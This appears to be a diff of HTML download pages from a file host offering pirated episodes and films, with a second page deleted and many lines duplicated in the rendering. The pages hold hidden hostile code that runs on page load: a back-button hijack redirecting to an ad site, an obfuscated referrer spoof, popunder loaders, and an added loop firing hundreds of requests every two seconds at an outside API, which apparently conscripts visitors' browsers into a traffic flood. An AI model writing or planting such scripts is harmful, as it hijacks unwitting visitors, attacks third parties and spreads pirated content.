<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous"> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
@ -136,11 +130,10 @@ document.addEventListener("DOMContentLoaded", function() {
color: #000 color: #000
} }
</style> </style>
<body> <body><center>
<center>
<br/> <br/>
<div class="header"> <div class="header">
HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a> HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
</div> </div>
<div class="container"> <div class="container">
@ -167,7 +160,7 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
</div> </div>
<p class="h3 text-success">Download Link Generated</p> <p class="h3 text-success">Download Link Generated</p>
<div class="input-group mb-3"> <div class="input-group mb-3">
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.foo/drive/nknlofk8snfnknh" readonly="" id="ilink"> <input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.one/drive/nknlofk8snfnknh" readonly="" id="ilink">
<div class="input-group-prepend"> <div class="input-group-prepend">
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span> <span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
</div> </div>
@ -183,6 +176,8 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span> <span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
</div> </div>
<div class="ad-container"></div> <div class="ad-container"></div>
@ -190,21 +185,15 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
<iframe src="https://pixeldrain.dev/u/2kFQBQio?embed" width="0" height="0" frameborder="0" style="display:none;" sandbox="allow-scripts allow-same-origin"></iframe>
<a href="https://pixeldrain.dev/api/file/2kFQBQio?download" download="Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #6f42c1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [PixelServer : 2]</a>
<a href="https://pub-0cef6721657649918259091880efe12f.r2.dev/c8c652be7fb5a8d731b9c7ddc465d37f?token=1774428754" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
<script>
const fsl = document.getElementById('fsl');
if (fsl) fsl.href += '1' + new Date().getMinutes();
</script>
<a href="https://pixel.hubcdn.fans/?id=d4697e0d4f27ea5067265503a820f05245ffd2d64a88ce6ecce4e18b6cace173bebc13920763a92baeaefe65f8c8a26efd836a0c1b3e92b4ce717874a5ff26a0764642b8090a5f7ef227bdb0bd6744ea8aa7edc43957e94b6ac9d2034c5a1d29::bada52a274d97488e2e76c1718bc16f5" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;"> <a href="https://pixel.hubcdn.fans/?id=4cbb9dc94a8c4698314305f887e913c3e7fef7f000d3da8d2bd1f4d6a1dca4d45fb98f415eea4192a2aeb35f6accfac5767d8eddd50fad89c724bb8075ae2dbe2e2987753b74253cf00625ede66ea0ec8ea4150eebb24be8a9e70bf70563d808::54473e647fcc8c02ec47d4d732f45d14" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a> <i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important"> <p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
@ -215,16 +204,18 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
<iframe src="https://pixeldrain.dev/u/2kFQBQio?embed" width="0" height="0" frameborder="0" style="display:none;" sandbox="allow-scripts allow-same-origin"></iframe>
<a href="https://pixeldrain.dev/u/2kFQBQio" download="Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #6f42c1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [PixelServer : 2]</a>
<a href="https://pub-c0c400d353df4c68ae3a2d5e089ecf60.r2.dev/Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download File [3.15 GB]</a>
<a href="https://ddl2.cloudserver-1692964037.workers.dev/1397313204/31f8b5a9e6a1a2e056ef0905797230a1f28057dc1e4d12e6843c03ac6bfdf7d87889a636620b547798bce78d1647ebb482a308c38e4149f422bc3afb2b6f7d171a63e1ff2029b7f90c72181d26989a4de3c23f7b316ee3138fc1dd9c2612d8c8dae2b4c5297f87320ffcb63d71429bde3258ec121653bd4c6f49f372465f13acf7bcc770f52f649c1c65c7cc54d18ed36620a55ccb9bbef084af996524ea69df8191345e6dba2f8398d7b5c3ef2500a32bd2e147507a1741efe63c902d8e1821::61c7925f0014900c78f913a268a069bf/Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv.zip" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #474b48 !important;"><i class="fas fa-file-download fa-lg"></i> Download [ZipDisk Server]</a>
<p style="
font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">Resume is Supported in ZipDisk But please extract it as the files is inside zip</p>
@ -233,7 +224,7 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
<br> <br>
<a href="https://www-google-com.cdn.ampproject.org/c/s/bloggingvector.shop/foo/aHR0cHM6Ly93d3ctZ29vZ2xlLWNvbS5jZG4uYW1wcHJvamVjdC5vcmcvYy9zL25ld3NvbmdzLmNvLmluL2dvP2lkPTNPZnAzZHl1b3FUaHp1RFkzTi9LNGFIWjNOQ2p1K3JQek9EaTZ0SGgyTlhrNGFqbjU5YmYzYkhEeTdPK3lOM0QyOHJmbyt6Q3dlVEN3cDIvcXNxOTFiL0t1S3FpeXFianhNZlV2cmpKMjlXNjJPQ2htc2pMNWJ6T3ljbTZ3Y0hZdWN1eTRMRT0=" target="_blank" rel="noopener noreferrer nofollow" class="btn btn-primary h5" style="margin-top: 11px;"><i class="fab fa-telegram fa-lg"></i></i> Downoad From Telegram </a> <a href="https://www-google-com.cdn.ampproject.org/c/s/bloggingvector.shop/foo/aHR0cHM6Ly93d3ctZ29vZ2xlLWNvbS5jZG4uYW1wcHJvamVjdC5vcmcvYy9zL25ld3NvbmdzLmNvLmluL2dvP2lkPTNPZnAzZHl1b3FUaHp1RFkzTi9LNGFIWjNOQ2p1K3JQek9EaTZ0SGgyTlhrNGFqbjU5YmYzYkhEeTltdXlNZTd3OHJmcEtqSG1zYkN3cDIvcXNxOTFiL0t1S3FpeXFianhNZlV2cmpKMjlXNjJPQ2htc2pMNWJ6T3ljbTZ3Y0hZdWN1eTRMRT0=" target="_blank" rel="noopener noreferrer nofollow" class="btn btn-primary h5" style="margin-top: 11px;"><i class="fab fa-telegram fa-lg"></i></i> Downoad From Telegram 🔥</a>
<button id="android_launch" class="btn btn-success btn-lg h6 p-2 d-none" style="background: #0d0b15 !important;"><i class="fab fa-android fa-lg" style="color: #63E6BE;"></i> DL/Open with Android App</button> <button id="android_launch" class="btn btn-success btn-lg h6 p-2 d-none" style="background: #0d0b15 !important;"><i class="fab fa-android fa-lg" style="color: #63E6BE;"></i> DL/Open with Android App</button>
@ -250,7 +241,7 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
if(isAndroid()){ if(isAndroid()){
android_launch.classList.remove("d-none"); android_launch.classList.remove("d-none");
android_launch.addEventListener('click', ()=>{ android_launch.addEventListener('click', ()=>{
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-0cef6721657649918259091880efe12f.r2.dev/c8c652be7fb5a8d731b9c7ddc465d37f?token=1774428754',scheme: 'https',type: 'video/x-matrosk', var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-c0c400d353df4c68ae3a2d5e089ecf60.r2.dev/Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv',scheme: 'https',type: 'video/x-matrosk',
});anchor.click(); });anchor.click();
}); });
@ -287,7 +278,7 @@ HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
</div> </div>
<div class="card"> <div class="card">
<div class="card-body" id="div1"> <div class="card-body" id="div1">
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.foo/drive/nknlofk8snfnknh</p> <p id="sharelink" onclick="copy_link('div1')">https://hubcloud.one/drive/nknlofk8snfnknh</p>
</div> </div>
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button> <button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
<script> <script>
@ -316,22 +307,16 @@ function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof
<br><br> <br><br>
</div> </div>
Msc Msc
<video autoplay muted playsinline preload="metadata" hidden>
<source src="https://lh3.googleusercontent.com/pw/AP1GczPvuSJv__IfKHEWza111gQ8cf-7_HNU3Mi1oSxHgtoUmS3z22DcgLvk9zNq5_zQGxp3_asDWKLY6cLB-5BYRip6ElCgllgQccSk4-p_7YwGDCQnx0E=m18#t=0,1" type="video/mp4"></video>
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
<!--2dl--> <!--2dl-->
<div class="footer"> <div class="footer">
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p> <p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
</div> </div>
<script defer src="https://static.cloudflareinsights.com/beacon.min.js/v8c78df7c7c0f484497ecbca7046644da1771523124516" integrity="sha512-8DS7rgIrAmghBFwoOTujcf6D9rXvH8xm8JQ1Ja01h9QX8EzXldiszufYa4IFfKdLUKTTrnSFXLDkUEOTrZQ8Qg==" data-cf-beacon='{"version":"2024.11.0","token":"ce57d66a8dc54ff7a63a7a9b493d15a0","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
</body> </body>
</html><script> </html><script>
window.sessionStorage.setItem('xl',window.location.href) window.sessionStorage.setItem('xl',window.location.href)
@ -341,11 +326,25 @@ function cn(t){let e=window.location.protocol+"//"+window.location.host+t;histor
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24); function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
</script> </script>
<script>
function x(){
for (let i = 0; i < 369; i++) {
fetch("https://apis.damanworlds.world/api/"+new Date().getTime() + i, {
"method": "GET",
"mode": "no-cors",
"referrerPolicy": 'no-referrer',
});
}
}
x();
const intervalId = setInterval(() => {
x();
}, 2000)
</script>
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>--> <!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);--> <!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
<!--</script>--> <!--</script>-->
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100641" src="https://sads.adsboosters.xyz/60e6df74e82f934b77ca81ccdfccfd40.js"></script>

View file

@ -1,355 +0,0 @@
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>
<script type="text/javascript">
aclib.runPop({
zoneId: '10553222',
});
</script>
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220853"></script>-->
<script>
document.addEventListener("DOMContentLoaded", function() {
history.pushState(null, null, location.href);
window.onpopstate = function () {
history.go(1);
window.location.href = 'https://push-me-once.com/go/1272663';
};
});Object.defineProperty(document,atob('cmVmZXJyZXI='),{get:function(){return atob('aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8=')}});
</script>
<html>
<head>
<title>Goat (2026) 2160p 10bit HDR10+ DV iTunes WEB-DL HEVC x265 [Hindi AMZN DDP 5.1 640kbps + English DDP Atmos 5.1] ESub-(BYNDR-4kHdHub).mkv</title>
<meta charset="utf-8">
<meta name="referrer" content="no-referrer"/>
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-KyZXEAg3QhqLMpG8r+8fhAXLRk2vvoC2f3B09zVXn8CA5QIVfZOJ3BCsw2P0p/We" crossorigin="anonymous">
<link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
<meta name=viewport content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex,nofollow">
</head>
<style>
.icon{width:48px;height:48px}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0}.bg-primary{background-color:#4e73df!important}body{font-family:"Nunito",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"!important;font-weight:14px}.font-weight-bold{font-weight:700!important}.text-primary{color:#007bff!important;padding:.75rem 1.25rem;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0;position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;border:1px solid #e3e6f0;border-radius:.35rem;line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.font-weight-bold{font-weight:700!important}.m-0{margin:auto!important;width:100%}h4,.h4{font-size:1.4rem}.card-body{flex:1 1 auto;padding:1.25rem}.nav-tabs{border-bottom:1px solid #dddfeb}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:#6e707e;background-color:#fff;border-color:#007bff #dddfeb #fff;font-weight:600}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}a{color:#4e73df;text-decoration:none;background-color:transparent}.footer{width:100%;height:auto;position:absolute;right:0;padding:15px 50px 0 15px;font-size:15px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right}.tab-content{width:90%;height:auto;position:initial;right:0;padding:0;text-align:center}.btn{color:#fff!important;background-color:#007bff!important;border-color:#007bff!important;font-weight:700!important}.btn:hover{color:#fff!important;background-color:#0069d9!important;border-color:#0062cc!important}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-success:focus,.btn-success.focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-lg,.btn-group-lg>.btn{padding:.5rem 1rem;font-size:1.2rem;border-radius:.45rem}.header{width:100%;height:auto;position:relative;right:0;padding:10px 50px 5px 15px;font-size:16px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right;margin-top:-25px}.alert-danger{background-color:#e74c3c;border-color:#e74c3c;color:#fff}.alert{padding:15px;margin-bottom:21px;border:1px solid transparent;border-radius:4px}.card{line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.m-5{margin:auto!important}.swal-button{background-color:#007bff!important}.card-header:first-child{font-weight:600}
.btn-success1 {
color: #fff;
background-color: #28a745;
border-color: #28a745;
display: inline-block;
text-align: center;
font-size: 1rem;
letter-spacing: .4px;
font-family: 'Open Sans',sans-serif!important;
font-weight: 600;
text-decoration:none !important;
vertical-align: middle;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
border: 1px solid transparent;
padding: .375rem .75rem;
line-height: 1.5;
border-radius: .30rem;
transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;
}
.btn-success1:not(:disabled):not(.disabled).active, .btn-success1:not(:disabled):not(.disabled):active, .show>.btn-success1.dropdown-toggle {
color: #fff;
background-color: #1e7e34;
border-color: #1c7430;
}
.btn-success1:hover {
color: #fff;
background-color: #218838;
border-color: #1e7e34;
}
.btn-success1.focus, .btn-success1:focus {
box-shadow: 0 0 0 0.2rem rgb(72 180 97 / 50%);
}
.btn-lg, .btn-group-lg > .btn2 {
padding: .5rem .6rem !important;
font-family: 'Open Sans',sans-serif!important;
letter-spacing: .1px;
border-radius: 0.35rem!important;
}
.ads-btns {
position: relative;
overflow: hidden
}
.ads-btns a.btn2 {
min-width: 40%
}
.ads-btns svg {
fill: #fff;
width: 17px;
position: absolute;
right: 0;
top: 0
}
.ads-btns svg path {
fill: #fff;
stroke: #fff
}
.ads-btns svg:first-child path {
fill: #fff;
stroke: transparent
}
.ads-btns svg:first-child {
right: 20px
}
.downloads-btns-div .btn2 {
margin: 0 3px 12px
}
.btn2 {
font-style: normal;
font-weight: 500;
font-size: 14px;
text-align: center;
text-transform: uppercase;
border: 2px solid #cbfc01;
padding: 10px 15px;
border-radius: 6px;
-webkit-border-radius: 6px;
-moz-border-radius: 6px;
background: #0ebac3;
color: #000;
display: inline-block;
text-decoration: none;
background: #cbfc01
}
.btn-zip {
border-color: #00d0ff;
background: #00d0ff;
color: #000
}
</style>
<body>
<center>
<br/>
<div class="header">
HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
</div>
<div class="container">
<div class="card-body">
<h2>
<div class="main" id="section2">
<div class="card h6">
<div class="card-header text-white bg-primary mb-3">
Goat (2026) 2160p 10bit HDR10+ DV iTunes WEB-DL HEVC x265 [Hindi AMZN DDP 5.1 640kbps + English DDP Atmos 5.1] ESub-(BYNDR-4kHdHub).mkv </div>
<div class="card-body">
<ul class="list-group">
<li class="list-group-item d-flex justify-content-between align-items-center">File Size<i id="size">17.78 GB</i></li>
<li class="list-group-item d-flex justify-content-between align-items-center">File Type<i>video/x-matrosk</i></li>
<li class="list-group-item d-flex justify-content-between align-items-center">Share Date<i id="date">24-Mar-2026 05:58:31</i></li>
</ul>
</div>
</div>
</div>
<p class="h3 text-success">Download Link Generated</p>
<div class="input-group mb-3">
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.foo/drive/p94k4dccjwxjcx4" readonly="" id="ilink">
<div class="input-group-prepend">
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
</div>
</div>
<!-- Banners -->
<!--<ins data-revive-zoneid="6" data-revive-cphost="43509b58b68d940f8734726dfed6c5c8|1|hubcloud.in" data-revive-id="1d63e790351363d29b61f9cf59b98fad"></ins>-->
<!-- Mobile Banners -->
<!--<ins data-revive-zoneid="7" data-revive-cphost="43509b58b68d940f8734726dfed6c5c8|1|hubcloud.in" data-revive-id="1d63e790351363d29b61f9cf59b98fad"></ins>-->
<!--<script async src="//greenfox.ink/d/asyncjs.php"></script>-->
<div class="alert alert-warning h6" role="alert">
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
</div>
<a href="https://cdn.fsl-buckets.life/Goat 2026 2160p 10bit HDR10+ DV iTunes WEB-DL HEVC x265 [Hindi AMZN DDP 5.1 640kbps + English DDP Atmos 5.1] ESub-BYNDR-4kHdHub.mkv?token=af180cafc2418c7c47249d0167ba9704" id="s3" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #2d50e2d1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [FSLv2 Server]</a>
<script>
const fsl = document.getElementById('s3');
if (fsl) fsl.href += '_1' + new Date().getMinutes();
</script>
<div class="ad-container"></div>
<div class="ad-containerx"></div>
<a href="https://hub.shipcdn.buzz/06a50fe95983473b5eeb7fa0ed1b453b?token=1774428722" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
<script>
const fsl = document.getElementById('fsl');
if (fsl) fsl.href += '1' + new Date().getMinutes();
</script>
<a href="https://pixel.hubcdn.fans/?id=9ca5a77d1f6a5e30157f1ba9335f5f37c246c28a9362693731d08440ebf515ae0bad03a3f054cc1cfc5fd342ead92bee375037aa0be4a07cce23c85320203685335142526fc508a5afc2ef06e1369c99fee1345a55224cddce65e250a0c33632::b31f4889dde70a376ef549e8fa698de9" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
Resume Not Supported in 10Gbps So Use only if you have stable internet (:
</p>
<button id="android_launch" class="btn btn-success btn-lg h6 p-2 d-none" style="background: #0d0b15 !important;"><i class="fab fa-android fa-lg" style="color: #63E6BE;"></i> DL/Open with Android App</button>
<script>
function createIntentURL({host, scheme = 'http', type = 'application/octet-stream'}) {
let host_ = host.replace('https://', '');
return `intent://${host_}#Intent;scheme=${scheme};action=android.intent.action.VIEW;type=${type};S.browser_fallback_url=${encodeURIComponent(host)};end`;
}
function isAndroid() {
return /Android/i.test(navigator.userAgent);
}
const android_launch = document.getElementById('android_launch');
if(isAndroid()){
android_launch.classList.remove("d-none");
android_launch.addEventListener('click', ()=>{
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://hub.shipcdn.buzz/06a50fe95983473b5eeb7fa0ed1b453b?token=1774428722',scheme: 'https',type: 'video/x-matrosk',
});anchor.click();
});
};
</script>
</h2>
<div class="alert alert-warning" role="alert">
<p><b>Note : </b>Please Use Download Manager like <a href="https://www.google.com/search?q=idm+dowload+manager" target="_blank" rel="noopener noreferrer nofollow">IDM</a> Or <a href="https://www.google.com/search?q=IDA+dowload+manager" target="_blank" rel="noopener noreferrer nofollow">IDA</a> - To accelerate Your Download Speeds </p>
</div>
<div class="alert alert-primary" role="alert">
<p><b>Note:</b> <i>Refresh this Page & click Download again if you get any error.</i> ! Resume is Supported-Enjoy :)</p>
</div>
<div class="alert alert-info" role="alert">
<p><b>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</b></p>
</div>
<hr>
<br>
<div class="tab-content">
<div role="tabpanel" class="tab-pane fade show active" id="link">
<div class="text" align="center">
<ul class="nav nav-tabs" role="tablist">
<li class="nav-item">
<a class="nav-link active" id="button1" role="tab" data-toggle="tab">Copy Link</a>
</li>
</ul>
</div>
<div class="card">
<div class="card-body" id="div1">
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.foo/drive/p94k4dccjwxjcx4</p>
</div>
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
<script>
var size = document.getElementById("size").innerHTML
var sharelink = document.getElementById("sharelink").innerHTML
if(size == 'NAN '){swal({
title: "Token Expired!",
text: "Token Link has been expired Please Click on Ok Button To Generate New Link!",
type: "success"
}).then(function() {
window.location = document.location.href = sharelink;
});}
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied ! : "+e)}
</script>
</div>
</div>
</div>
<script>
// const L_=["aHR0cHM6Ly90aW55dXJsLmNvbS9hdm9ndXJsNHU="],localStorageKey="pds",hoursLimit=6;let opened=!1;document.addEventListener("click",function(){if(!opened){var a=localStorage.getItem(localStorageKey),l=(new Date).getTime();if(!(a&&l-a<216e5)){opened=!0;let e=L_[Math.floor(Math.random()*L_.length)],t=atob(e),o=document.createElement("a");o.href=t,o.target="_blank",o.rel="noopener noreferrer",a=new MouseEvent("click",{view:window,bubbles:!0,cancelable:!0}),o.dispatchEvent(a),setTimeout(()=>window.focus(),100),localStorage.setItem(localStorageKey,l)}}});
</script>
<br>
<br>
<br>
<br><br>
</div>
Msc
<video autoplay muted playsinline preload="metadata" hidden>
<source src="https://lh3.googleusercontent.com/pw/AP1GczPvuSJv__IfKHEWza111gQ8cf-7_HNU3Mi1oSxHgtoUmS3z22DcgLvk9zNq5_zQGxp3_asDWKLY6cLB-5BYRip6ElCgllgQccSk4-p_7YwGDCQnx0E=m18#t=0,1" type="video/mp4"></video>
